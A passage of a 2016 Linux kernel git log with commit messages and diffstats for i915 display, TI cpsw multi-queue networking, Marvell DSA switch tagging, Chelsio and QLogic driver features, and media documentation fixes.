drivers/gpu/drm/i915/intel_hdmi.c | 72 ++++++++++++++++++------- drivers/gpu/drm/i915/intel_lvds.c | 29 +++++++--- drivers/gpu/drm/i915/intel_sdvo.c | 22 +++++--- drivers/gpu/drm/i915/intel_tv.c | 12 +++-- 12 files changed, 284 insertions(+), 126 deletions(-) commit fb1c98b181ae139412eca6b7ef727b655b6125da Author: Maarten Lankhorst Date: Tue Aug 9 17:04:03 2016 +0200 drm/i915: Walk over encoders in crtc enable/disable using atomic state. This cleans up another possible use of the connector list, encoder->crtc is legacy state and should not be used. With the atomic state as argument it's easy to find the encoder from the connector it belongs to. intel_opregion_notify_encoder is a noop for !HAS_DDI, so it's harmless to unconditionally include it in encoder enable/disable. Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1470755054-32699-5-git-send-email-maarten.lankhorst@linux.intel.com Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_display.c | 190 ++++++++++++++++++++++++----------- 1 file changed, 134 insertions(+), 56 deletions(-) commit c376399c83e63b820af80ec7ede298855abd6697 Author: Maarten Lankhorst Date: Tue Aug 9 17:04:02 2016 +0200 drm/i915: Remove unused mode_set hook from encoder Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1470755054-32699-4-git-send-email-maarten.lankhorst@linux.intel.com Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_drv.h | 1 - 1 file changed, 1 deletion(-) commit 4a80655827afa661b77b2950dce77079c0bb0e11 Author: Maarten Lankhorst Date: Tue Aug 9 17:04:01 2016 +0200 drm/i915: Pass atomic state to crtc enable/disable functions This is required for supporting nonblocking modesets. Iterating over the connector list will no longer be allowed when we don't hold connection_mutex, so we have to use the atomic state. Fix disable_noatomic by populating the minimal state required to disable a connector. Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1470755054-32699-3-git-send-email-maarten.lankhorst@linux.intel.com Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/i915_drv.h | 6 ++-- drivers/gpu/drm/i915/intel_display.c | 56 ++++++++++++++++++++++++------------ 2 files changed, 42 insertions(+), 20 deletions(-) commit a79e8cc7926d08378fe30666df2f7bc8b0a80689 Author: Maarten Lankhorst Date: Tue Aug 9 17:04:00 2016 +0200 drm/i915: handle DP_MST correctly in bxt_get_dpll No idea if it supports it, but this is the minimum required from get_dpll. Signed-off-by: Maarten Lankhorst Link: http://patchwork.freedesktop.org/patch/msgid/1470755054-32699-2-git-send-email-maarten.lankhorst@linux.intel.com Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_dpll_mgr.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit 074969813350cda4c624a585489cc1b3550414bc Author: Simon Horman Date: Tue Aug 23 09:49:44 2016 +0200 clk: renesas: r8a7796: Add SDIF clocks This patch adds SDIF clocks for R8A7796 SoC. Based on work by Ai Kyuse and Yoshihiro Shimoda for the r8a7795 SoC. Signed-off-by: Simon Horman Signed-off-by: Geert Uytterhoeven drivers/clk/renesas/r8a7796-cpg-mssr.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 61fc51366b395f1441c7cd3615fb18837a4fa2f8 Author: Mathieu OTHACEHE Date: Tue Jul 26 19:59:46 2016 +0200 USB: serial: ti_usb_3410_5052: remove unused variables Remove variables affected but never read. Also drop the now unused TI_SET_SERIAL_FLAGS define. Signed-off-by: Mathieu OTHACEHE [ johan: drop TI_SET_SERIAL_FLAGS ] Signed-off-by: Johan Hovold drivers/usb/serial/ti_usb_3410_5052.c | 13 ------------- 1 file changed, 13 deletions(-) commit 38d6d23f31a20a6557174d2ab4bdaa0cc713d67c Author: Mathieu OTHACEHE Date: Tue Jul 26 19:59:45 2016 +0200 USB: serial: ti_usb_3410_5052: use C_X macros Use C_X tty.h macros to avoid direct manipulation of termios c_cflag variable. Signed-off-by: Mathieu OTHACEHE Signed-off-by: Johan Hovold drivers/usb/serial/ti_usb_3410_5052.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) commit 98ba0853e7c8266fe48490d466c88d68121a0917 Author: Mathieu OTHACEHE Date: Tue Jul 26 19:59:44 2016 +0200 USB: serial: ti_usb_3410_5052: remove useless NULL-testing It is useless to check the return of usb_get_serial_port_data in the tty and tty-port callbacks. No need to check interface private data in close() either. Signed-off-by: Mathieu OTHACEHE [ johan: amend commit message ] Signed-off-by: Johan Hovold drivers/usb/serial/ti_usb_3410_5052.c | 34 +--------------------------------- 1 file changed, 1 insertion(+), 33 deletions(-) commit 14e3c97c2db8735b5304379dd4e6cfe1d68a7a49 Author: Mathieu OTHACEHE Date: Tue Jul 26 19:59:42 2016 +0200 USB: serial: ti_usb_3410_5052: remove useless dev_dbg messages Remove useless or redundant dev_dbg messages. Signed-off-by: Mathieu OTHACEHE [ johan: drop an unrelated change ] Signed-off-by: Johan Hovold drivers/usb/serial/ti_usb_3410_5052.c | 11 ----------- 1 file changed, 11 deletions(-) commit f1054b2d6a6b7b87c91467a301c2c08413f92d86 Author: Mathieu OTHACEHE Date: Tue Jul 26 19:59:41 2016 +0200 USB: serial: ti_usb_3410_5052: do not use __uX types __uX types should only be used for user-space interactions. Also clean up uart-config endianess handling, and drop some redundant casts. Signed-off-by: Mathieu OTHACEHE [ johan: amend commit message ] Signed-off-by: Johan Hovold drivers/usb/serial/ti_usb_3410_5052.c | 99 ++++++++++++++++++----------------- 1 file changed, 50 insertions(+), 49 deletions(-) commit 9e1019c690ab0d7829e8d795cc46dba23728d997 Author: Sergei Shtylyov Date: Sat Aug 20 01:19:48 2016 +0300 ARM: dts: r8a7792: add VSP1V support Describe 3 instances (VSPS, VSPD0, and VSPD1) of the VSP1V in the R8A7792 device tree. Signed-off-by: Sergei Shtylyov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792.dtsi | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) commit 5c2312ba0596224653580cbd0a89d07fe63cd057 Author: Sergei Shtylyov Date: Sat Aug 20 01:18:54 2016 +0300 ARM: dts: r8a7792: add VSP1V clocks Describe the VSP1V clocks in the R8A7792 device tree. Signed-off-by: Sergei Shtylyov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792.dtsi | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) commit 0a3bfe29f81622f50fbd9a64ec7c705845516681 Author: Chris Wilson Date: Mon Aug 22 21:44:52 2016 +0100 drm/fb-helper: Fix the dummy remove_conflicting_framebuffers We always need to remove conflicting framebuffers if any other fb driver is enabled, and not just if we are setting up an fbdev ourselves. Unfortunately remove_conflicting_framebuffers() was incorrectly stubbed out if !fbdev rather than !fb leading to major memory corruption (and corrupt filesystems) upon boot. Fixes: 44adece57e26 ("drm/fb-helper: Add a dummy remove_conflicting_framebuffers") Signed-off-by: Chris Wilson Cc: Daniel Vetter Cc: Tobias Jakobi Cc: Noralf Trønnes Cc: tomi.valkeinen@ti.com Cc: dh.herrmann@gmail.com Cc: Alex Deucher Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160822204452.2509-1-chris@chris-wilson.co.uk include/drm/drm_fb_helper.h | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit d1c151dcae628bf73b4aa2c2c5abeccf3d17e544 Author: Jamie Lentin Date: Mon Aug 22 23:17:34 2016 +0100 drm/udl: Ensure channel is selected before using the device. Lift configuration command from udlfb. This appears to be essential for at least a Rextron VCUD-60, without which no URB communication occurs. Signed-off-by: Jamie Lentin Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471904254-26545-1-git-send-email-jm@lentin.co.uk drivers/gpu/drm/udl/udl_main.c | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) commit a66f74f464fb1e501d1b448c99e8f9ae4e64da2b Author: Sergei Shtylyov Date: Fri Aug 19 23:42:54 2016 +0300 ARM: dts: blanche: add DU support Define the Blanche board dependent part of the DU device node. Add the device nodes for the Analog Devices ADV7511W HDMI transmitter (connected to DU0) and ADV7123 video DAC (connected to DU1). Add the necessary subnodes to interconnect DU, HDMI/VDAC devices, and HDMI/VGA connectors. Signed-off-by: Sergei Shtylyov Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792-blanche.dts | 125 ++++++++++++++++++++++++++++++++++ 1 file changed, 125 insertions(+) commit eed3da2cf3897de7ed3e5e4ea3cd323946ca87e0 Author: Sergei Shtylyov Date: Thu Aug 18 21:31:54 2016 +0300 ARM: dts: blanche: add SDHI0 support Define the Blanche board dependent part of the SDHI0 (connected to the micro-SD slot) device node along with the necessary voltage regulator. Signed-off-by: Sergei Shtylyov Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792-blanche.dts | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) commit 2d03d4394c13d017968c707150d97ad251900084 Merge: a01512d ce52c74 Author: David S. Miller Date: Tue Aug 23 00:13:11 2016 -0700 Merge branch 'cpsw-mq' Ivan Khoronzhuk says: ==================== net: ethernet: ti: cpsw: add cpdma multi-queue support This series is intended to allow cpsw driver to use cpdma ability of h/w shaper to send/receive data with up to 8 tx and 8 rx queues. This series doesn't contain interface to configure h/w shaper itself, it contains only multi-queue support part and ability to configure number of tx/rx queues with ethtool, it also doesn't contain mapping of input traffic to rx queues, as it can depend on usage and requires separate interface for setup. Default shaper mode - priority mode. The h/w shaper configuration will be added with separate patch series. This series doesn't affect on net throughput. Tested on: am572x-idk, 1Gbps link am335-boneblack, 100Mbps link. A simple example for splitting traffic on queues: $ ethtool -l eth0 $ ethtool -L eth0 rx 8 tx 8 $ tc qdisc add dev eth0 root handle 1: multiq $ tc filter add dev eth0 parent 1: protocol ip prio 1 u32 \ match ip dst 172.22.39.12 \ action skbedit queue_mapping 5 Based on: net-next/master V3: https://lkml.org/lkml/2016/8/15/788 Since v3: -changed arg to priv in fill_rx_channels in net: ethernet: ti: davinci_cpdma: split descs num between all channels - added more comments to cpsw_set_channels Since v2: - added new patch to avoid warn while ctrl stop net: ethernet: ti: cpsw: add ethtool channels support - enable ctrl in case at least one interface is running Since v1: - removed cpdam_check_free_desc function - remove pm_runtime calls as they are used in begin/complete ethtool calls now - removed change of driver version. it can be done later - corrected setup of channels for dual_emac mode with ethtool ==================== Signed-off-by: David S. Miller commit ce52c744574bbe31e5c30788f69d19f20d328225 Author: Ivan Khoronzhuk Date: Mon Aug 22 21:18:28 2016 +0300 net: ethernet: ti: cpsw: add ethtool channels support These ops allow to control number of channels driver is allowed to work with at cpdma level. The maximum number of channels is 8 for rx and 8 for tx. In dual_emac mode the h/w channels are shared between two interfaces and changing number on one interface changes number of channels on another. How many channels are supported and enabled: $ ethtool -l ethX Change number of channels (up to 8) $ ethtool -L ethX rx 6 tx 6 Per-channel statistic: $ ethtool -S ethX Signed-off-by: Ivan Khoronzhuk Reviewed-by: Mugunthan V N Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 180 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 180 insertions(+) commit 925d65e6d8a4c84c54fbad060f32385b57e210ed Author: Ivan Khoronzhuk Date: Mon Aug 22 21:18:27 2016 +0300 net: ethernet: ti: davinci_cpdma: move cpdma channel struct macroses to internals Keep the driver internals in C file. Currently it's not required for drivers to know rx or tx a channel is, except create function. So correct "channel create" function, and use all channel struct macroses only for internal use. Reviewed-by: Mugunthan V N Signed-off-by: Ivan Khoronzhuk Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 7 ++----- drivers/net/ethernet/ti/davinci_cpdma.c | 13 +++++++++++-- drivers/net/ethernet/ti/davinci_cpdma.h | 9 +-------- drivers/net/ethernet/ti/davinci_emac.c | 8 ++++---- 4 files changed, 18 insertions(+), 19 deletions(-) commit e05107e6b74700762e2feda0abd2e74984c24227 Author: Ivan Khoronzhuk Date: Mon Aug 22 21:18:26 2016 +0300 net: ethernet: ti: cpsw: add multi queue support The cpsw h/w supports up to 8 tx and 8 rx channels. This patch adds multi-queue support to the driver only, shaper configuration will be added with separate patch series. Default shaper mode, as before, priority mode, but with corrected priority order, 0 - is highest priority, 7 - lowest. The poll function handles all unprocessed channels, till all of them are free, beginning from hi priority channel. In dual_emac mode the channels are shared between two network devices, as it's with single-queue default mode. The statistic for every channel can be read with: $ ethtool -S ethX Signed-off-by: Ivan Khoronzhuk Reviewed-by: Mugunthan V N Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 301 +++++++++++++++++++++----------- drivers/net/ethernet/ti/davinci_cpdma.c | 12 ++ drivers/net/ethernet/ti/davinci_cpdma.h | 2 + 3 files changed, 210 insertions(+), 105 deletions(-) commit 080d5c5ac8e4cfab4f3b1239667cf422925efcc3 Author: Ivan Khoronzhuk Date: Mon Aug 22 21:18:25 2016 +0300 net: ethernet: ti: davinci_cpdma: fix locking while ctrl_stop The interrupts shouldn't be disabled while receiving skb, but while ctrl_stop, the channels are stopped and all remaining packets are handled with netif_receive_skb(), it can cause WARN_ONCE when ctrl is stopping while not all packets were handled with NAPIs: lock_irq_save cpdma_ctlr_stop cpdma_chan_top __cpdma_chan_free cpsw_rx_handler netif_receive_skb So, split locking while ctrl stop thus interrupts are still enabled while skbs handling. It can cause WARN_ONCE in rare cases when ctrl is stopping while not all packets were handled with NAPIs. Reviewed-by: Mugunthan V N Signed-off-by: Ivan Khoronzhuk Signed-off-by: David S. Miller drivers/net/ethernet/ti/davinci_cpdma.c | 2 ++ 1 file changed, 2 insertions(+) commit 3802dce178d244c02c6b11fdcbbd202ceac37f0a Author: Ivan Khoronzhuk Date: Mon Aug 22 21:18:24 2016 +0300 net: ethernet: ti: davinci_cpdma: split descs num between all channels Tx channels share same pool of descriptors. Thus one channel can block another if pool is emptied by one. But, the shaper should decide which channel is allowed to send packets. To avoid such impact of one channel on another, let every channel to have its own piece of pool. Signed-off-by: Ivan Khoronzhuk Reviewed-by: Mugunthan V N Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 62 ++++++++++++++++++++------------- drivers/net/ethernet/ti/davinci_cpdma.c | 46 ++++++++++++++++++++++-- drivers/net/ethernet/ti/davinci_cpdma.h | 2 +- 3 files changed, 83 insertions(+), 27 deletions(-) commit a01512dbe3ec1e7dc58b00161d61ead359f5ac08 Author: Dave Watson Date: Mon Aug 22 12:27:04 2016 -0700 net: strparser: fix strparser sk_user_data check sk_user_data mismatch between what kcm expects (psock) and what strparser expects (strparser). Queued rx_work, for example calling strp_check_rcv after socket buffer changes, will never complete. sk_user_data is unused in strparser, so just remove the check. Signed-off-by: Dave Watson Acked-by: Tom Herbert Signed-off-by: David S. Miller net/strparser/strparser.c | 3 --- 1 file changed, 3 deletions(-) commit f1ff8666ed87b0013e45ce2d335085407bb38a60 Author: Yuval Mintz Date: Tue Aug 23 07:19:50 2016 +0300 qed: Fix address macros Last FW submission reverted various macros into an older form, where they generate compilation warnings on some architectures. Bring back the newer macros instead. Fixes: 05fafbfb3d77 ("qed: utilize FW 8.10.10.0") Reported-by: kbuild test robot Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller include/linux/qed/common_hsi.h | 22 ++++++++-------------- 1 file changed, 8 insertions(+), 14 deletions(-) commit f4e1f9bb3498c0a9a3b92815f2ea64650eac1715 Author: Wei Yongjun Date: Sun Aug 21 14:39:30 2016 +0000 remoteproc: qcom: wcnss: Fix return value check in wcnss_probe() In case of error, the function devm_ioremap_resource() returns ERR_PTR() and never returns NULL. The NULL test in the return value check should be replaced with IS_ERR(). Signed-off-by: Wei Yongjun Signed-off-by: Bjorn Andersson drivers/remoteproc/qcom_wcnss.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit e55dddfe7e0deaa3282e0f346d6ed97c4e481388 Merge: 1ae292a f027e0c Author: David S. Miller Date: Mon Aug 22 21:08:09 2016 -0700 Merge branch 'dsa-fix-MV88E6131-tagging' Andrew Lunn says: ==================== Fix MV88E6131 tagging Marvell has two different tagging protocols for frames passed to a swicth. There is the older DSA and the newer EDSA. Somewhere along the way, we broke support for switches which only support DSA, by trying to configure them to use EDSA. These patches add back support for switches which only support DSA, by allowing the drivers to dynamically indicate the tagging protocol they support to the DSA core. This needs to be dynamic since the mv88e6xxx has to support two protocols. Thanks go to Jamie Lentin for reporting the problem, helping debug it, providing some of the fix, and testing. ==================== Tested-By: Jamie Lentin Signed-off-by: David S. Miller commit f027e0cc8255a8af8197835f2f44910dc63e2fa5 Author: Jamie Lentin Date: Mon Aug 22 16:01:04 2016 +0200 net: mv88e6xxx: Enable PORT_CONTROL_FORWARD_UNKNOWN for DSA-tagged CPU ports Without it, a mv88e6131 switch will not forward incoming unicast packets to the CPU port. Signed-off-by: Jamie Lentin Reviewed-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/chip.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 930188ceca5fb2f755d4b900a92a6c295f43a434 Author: Andrew Lunn Date: Mon Aug 22 16:01:03 2016 +0200 dsa: mv88e6xxx: Delete ppu timer when removing module The PPU method of accessing PHYs makes use of a timer. Make sure this timer is deleted before unloading the driver. Reported-by: Jamie Lentin Signed-off-by: Andrew Lunn Reviewed-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/chip.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit 2bbb33be037361882527c9c762cb9fc928ab0ff7 Author: Andrew Lunn Date: Mon Aug 22 16:01:02 2016 +0200 net: dsa: mv88e6xxx: Fix support for DSA tagging for older switches. Older chips only support DSA tagging on the CPU port. New devices support both DSA and EDSA. The driver needs to tell the core the tag protocol to use, and configure the switch for what is available. Signed-off-by: Andrew Lunn Reviewed-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/Kconfig | 1 + drivers/net/dsa/mv88e6xxx/chip.c | 41 +++++++++++++++-------------------- drivers/net/dsa/mv88e6xxx/mv88e6xxx.h | 16 +++++++++++--- 3 files changed, 31 insertions(+), 27 deletions(-) commit 7b314362a2344feaafbdf6aa8f3d57077728e37a Author: Andrew Lunn Date: Mon Aug 22 16:01:01 2016 +0200 net: dsa: Allow the DSA driver to indicate the tag protocol DSA drivers may drive different families of switches which need different tag protocol. Rather than hard code the tag protocol in the driver structure, have a callback for the DSA core to call. Signed-off-by: Andrew Lunn Reviewed-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/b53/b53_common.c | 7 ++++++- drivers/net/dsa/bcm_sf2.c | 7 ++++++- drivers/net/dsa/mv88e6060.c | 7 ++++++- drivers/net/dsa/mv88e6xxx/chip.c | 7 ++++++- include/net/dsa.h | 5 +++-- net/dsa/dsa.c | 5 ++++- net/dsa/dsa2.c | 4 +++- 7 files changed, 34 insertions(+), 8 deletions(-) commit 1ae292a2457cd692828da2be87cb967260993ad0 Author: Geert Uytterhoeven Date: Mon Aug 22 15:01:03 2016 +0200 net: ipconfig: Fix NULL pointer dereference on RARP/BOOTP/DHCP timeout If no RARP, BOOTP, or DHCP response is received, ic_dev is never set, causing a NULL pointer dereference in ic_close_devs(): Sending DHCP requests ...... timed out! Unable to handle kernel NULL pointer dereference at virtual address 00000004 To fix this, add a check to avoid dereferencing ic_dev if it is still NULL. Signed-off-by: Geert Uytterhoeven Fixes: 2647cffb2bc6fbed ("net: ipconfig: Support using "delayed" DHCP replies") Signed-off-by: David S. Miller net/ipv4/ipconfig.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8b7ac60a5d29f4c554340afd0ce2b759de491e1f Merge: a616b84 dc1cbd1 Author: David S. Miller Date: Mon Aug 22 20:38:25 2016 -0700 Merge tag 'batadv-next-for-davem-20160822' of git://git.open-mesh.org/linux-merge Simon Wunderlich says: ==================== This feature patchset includes the following changes: - place kref_get near usage of referenced objects, separate patches for various used objects to improve readability and maintainability by Sven Eckelmann (18 patches) - Keep batadv net device when all hard interfaces disappear, to improve situations where tools currently use work arounds, by Sven Eckelmann - Add an option to disable debugfs support to minimize footprint when userspace uses netlink only, by Sven Eckelmann ==================== Signed-off-by: David S. Miller commit a616b849bcaee7348aaac5ba17677004c7c77359 Merge: f7257f6 10a2604 Author: David S. Miller Date: Mon Aug 22 18:29:14 2016 -0700 Merge branch 'cxgb4-tx-rate-limiting' Rahul Lakkireddy says: ==================== TX max rate limiting for Chelsio T4/T5 adapters This series of patches implement tx max rate limiting per queue on Chelsio T4/T5 hardware. This is achieved by first creating a tx scheduling class with the specified max rate. The queue is then bound to the newly created class. If a scheduling class with similar max rate already exists, then the queue is bound to the matching class. Patch 1 adds support for setting tx scheduling classes. Patch 2 adds support to bind/unbind queues to/from the scheduling classes. Patch 3 implements the set_tx_maxrate NDO. ==================== Signed-off-by: David S. Miller commit 10a2604ea2eac8af2bf7fa5eb11e4fcb6bc336d5 Author: Rahul Lakkireddy Date: Mon Aug 22 16:29:08 2016 +0530 cxgb4: add support for tx max rate limiting Implement set_tx_maxrate NDO to perform per queue tx rate limiting. Signed-off-by: Rahul Lakkireddy Signed-off-by: Hariprasad Shenai Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/cxgb4.h | 20 ++++++ drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c | 82 +++++++++++++++++++++++++ drivers/net/ethernet/chelsio/cxgb4/sched.h | 3 + 3 files changed, 105 insertions(+) commit 6cede1f17f51333ecf9cd4c9fca5565842f1bf55 Author: Rahul Lakkireddy Date: Mon Aug 22 16:29:07 2016 +0530 cxgb4: add support for per queue tx scheduling Add support to bind/unbind specified tx queues to/from scheduling classes. If a queue is already bound to a scheduling class, it is unbound first and then bound to a new specified class. Signed-off-by: Rahul Lakkireddy Signed-off-by: Hariprasad Shenai Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/cxgb4.h | 8 + drivers/net/ethernet/chelsio/cxgb4/sched.c | 321 +++++++++++++++++++++++++++++ drivers/net/ethernet/chelsio/cxgb4/sched.h | 18 ++ 3 files changed, 347 insertions(+) commit b72a32dacdfa29b21da8c720ab9ceee40399b2ac Author: Rahul Lakkireddy Date: Mon Aug 22 16:29:06 2016 +0530 cxgb4: add support for tx traffic scheduling classes Add support to create tx traffic scheduling classes with specified scheduling parameters. Return an existing class if a match is found with same scheduling parameters. Signed-off-by: Rahul Lakkireddy Signed-off-by: Hariprasad Shenai Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/Makefile | 2 +- drivers/net/ethernet/chelsio/cxgb4/cxgb4.h | 28 ++- drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c | 20 +- drivers/net/ethernet/chelsio/cxgb4/sched.c | 235 ++++++++++++++++++++++++ drivers/net/ethernet/chelsio/cxgb4/sched.h | 89 +++++++++ drivers/net/ethernet/chelsio/cxgb4/t4_hw.c | 31 +++- drivers/net/ethernet/chelsio/cxgb4/t4fw_api.h | 38 +++- 7 files changed, 438 insertions(+), 5 deletions(-) commit f7257f65742cdd6a419791294cd24920e6ace942 Merge: 4d55d01 b0bccb6 Author: David S. Miller Date: Mon Aug 22 18:24:52 2016 -0700 Merge branch 'qed-sriov-legacy' Yuval Mintz says: ==================== qed*: IOV patch series Recent FW [8.10.10.0] enabled us to support sriov interaction with legacy VF/PF. This patch series adds the necessary driver changes to utilize this additional compatibility. In addition, utilize the new FW ability to prevent pause floods by VFs, and fix a bug that is [mostly] exposed by the added legacy support. ==================== Signed-off-by: David S. Miller commit b0bccb69eba3629949eaa28017be56c8b1319b45 Author: Yuval Mintz Date: Mon Aug 22 13:25:12 2016 +0300 qed: Change locking scheme for VF channel Each VF employees a lock that's supposed to serialize its usage of the HW channel for communication with its PF, but the critical section is ill-defined: - VFs currently release the lock whenever the PF response arrives, prior to actually processing the reply buffer [which was also supposed to have been protected by same lock]. - The lock would be released on first response, ignoring the possibilty the sw flow isn't over [as might be the case of the acquisition flow]. As a result, the flow would run unprotected and would cause a double mutex release [as the additional message completion would release it while its actually already free]. Change the flow to have a dedicated function to be called at end of each flow and release the lock. Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_vf.c | 124 ++++++++++++++++++++++--------- 1 file changed, 90 insertions(+), 34 deletions(-) commit d8c2c7e3404e5bcaeae4af78d6935e5b8fcc97ee Author: Yuval Mintz Date: Mon Aug 22 13:25:11 2016 +0300 qed*: Add support for VFs over legacy PFs Modern VFs can't run on old non-compatible as the fastpath HSI is slightly changed - but as the HSI is actually very close [basically, a single bit whose meaning flipped] this can be supported with small modifications. The major differences would be in: - Recognizing that VF is running on top of a legacy PF. - Returning some slowpath configurations that are no longer needed on top of modern PFs, but would be required when working over the legacy ones. Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_l2.c | 2 + drivers/net/ethernet/qlogic/qed/qed_vf.c | 107 ++++++++++++++++++++++----- drivers/net/ethernet/qlogic/qed/qed_vf.h | 5 ++ drivers/net/ethernet/qlogic/qede/qede.h | 2 + drivers/net/ethernet/qlogic/qede/qede_main.c | 10 +++ include/linux/qed/qed_eth_if.h | 3 + 6 files changed, 109 insertions(+), 20 deletions(-) commit 11a85d759ea5064c986c47112607681c09cdcdd9 Author: Yuval Mintz Date: Mon Aug 22 13:25:10 2016 +0300 qed: Prevent VFs from pause flooding Firmware would silently drop any control frame sent by VF to prevent a malicious VF from generating pause flood in the network. Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_l2.c | 3 +++ drivers/net/ethernet/qlogic/qed/qed_l2.h | 2 ++ drivers/net/ethernet/qlogic/qed/qed_sriov.c | 1 + 3 files changed, 6 insertions(+) commit a044df83e194c28697f6aae61851c3d6e34b8456 Author: Yuval Mintz Date: Mon Aug 22 13:25:09 2016 +0300 qed: Add support for legacy VFs The 8.10.x FW added support for forward compatability as well as 'future' backward compatibility, but only to those VFs that were using HSI which was 8.10.x based or newer. The latest firmware now supports backward compatibility for the older VFs based on 8.7.x and 8.8.x firmware as well. Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_l2.c | 15 ++-- drivers/net/ethernet/qlogic/qed/qed_l2.h | 3 +- drivers/net/ethernet/qlogic/qed/qed_sriov.c | 109 +++++++++++++++++++++++----- drivers/net/ethernet/qlogic/qed/qed_vf.h | 2 +- 4 files changed, 104 insertions(+), 25 deletions(-) commit fbbf2b3669d14edd7929483a31c371f6012b7a3a Merge: cae750b 21118df Author: Jason Cooper Date: Tue Aug 23 01:11:15 2016 +0000 Merge branch 'irqchip/jcore' into irqchip/core commit 4d55d014c53d0d011d4cec85fa0c248a97e8eb06 Author: Wei Yongjun Date: Sun Aug 21 22:46:15 2016 +0000 net: phy: Add missing of_node_put() in xgmiitorgmii_probe() This node pointer is returned by of_parse_phandle() with refcount incremented in this function. of_node_put() on it before exitting this function. This is detected by Coccinelle semantic patch. Signed-off-by: Wei Yongjun Reviewed-by: Kedareswara rao Appana Signed-off-by: David S. Miller drivers/net/phy/xilinx_gmii2rgmii.c | 1 + 1 file changed, 1 insertion(+) commit 0d1c7d60c287d13cfea27b50f75dbff411544488 Author: Mauro Carvalho Chehab Date: Tue Aug 16 13:02:40 2016 -0300 docs-rst: add media documentation to PDF output Now that the build of PDF output on media got fixed, re-add it to the Sphinx PDF build. Partially reverts 3eb6cd6834c3 ('Documentation: exclude media documentation from pdf generation'). Signed-off-by: Mauro Carvalho Chehab Documentation/conf.py | 2 ++ 1 file changed, 2 insertions(+) commit 859b01cdc03eb83c4b3ec14a89ac132039ad0d43 Author: Mauro Carvalho Chehab Date: Mon Aug 22 10:49:31 2016 -0300 [media] docs-rst: fix some .. note:: occurrences On some places, either an space or the second ':' is missing. Fix them. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/pixfmt-packed-yuv.rst | 2 +- Documentation/media/uapi/v4l/subdev-formats.rst | 10 ++++------ 2 files changed, 5 insertions(+), 7 deletions(-) commit e61a39baf74dddb6cd236147bd19b55c10188d78 Author: Mauro Carvalho Chehab Date: Sun Aug 21 15:14:57 2016 -0300 [media] index.rst: Fix LaTeX error in interactive mode on Sphinx 1.4.x The Sphinx 1.4.x definition for \DUrole is: \providecommand*{\DUrole}[2]{% \ifcsname DUrole#1\endcsname% \csname DUrole#1\endcsname{#2}% \else% backwards compatibility: try \docutilsrole#1{#2} \ifcsname docutilsrole#1\endcsname% \csname docutilsrole#1\endcsname{#2}% \else% #2% \fi% \fi% } This is broken when it is used inside a \begin{alltt} block. So, replace it by just "#2", as this won't cause troubles, and it is one of the fallback methods for it. Signed-off-by: Mauro Carvalho Chehab Documentation/media/index.rst | 5 +++++ 1 file changed, 5 insertions(+) commit 5ccbb182d70561a49f84b42169d2dbc39e39aea2 Author: Mauro Carvalho Chehab Date: Fri Aug 19 16:59:55 2016 -0300 [media] docs-rst: Convert MC uAPI to use C function references Name all ioctl references and make them match the ioctls that are documented. That will improve the cross-reference index, as it will have all ioctls and syscalls there. While here, improve the documentation to make them to look more like the rest of the document. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/mediactl/media-func-close.rst | 4 ++-- Documentation/media/uapi/mediactl/media-func-ioctl.rst | 4 ++-- Documentation/media/uapi/mediactl/media-func-open.rst | 2 +- Documentation/media/uapi/mediactl/media-ioc-device-info.rst | 6 ++---- Documentation/media/uapi/mediactl/media-ioc-enum-entities.rst | 6 ++---- Documentation/media/uapi/mediactl/media-ioc-enum-links.rst | 6 ++---- Documentation/media/uapi/mediactl/media-ioc-g-topology.rst | 6 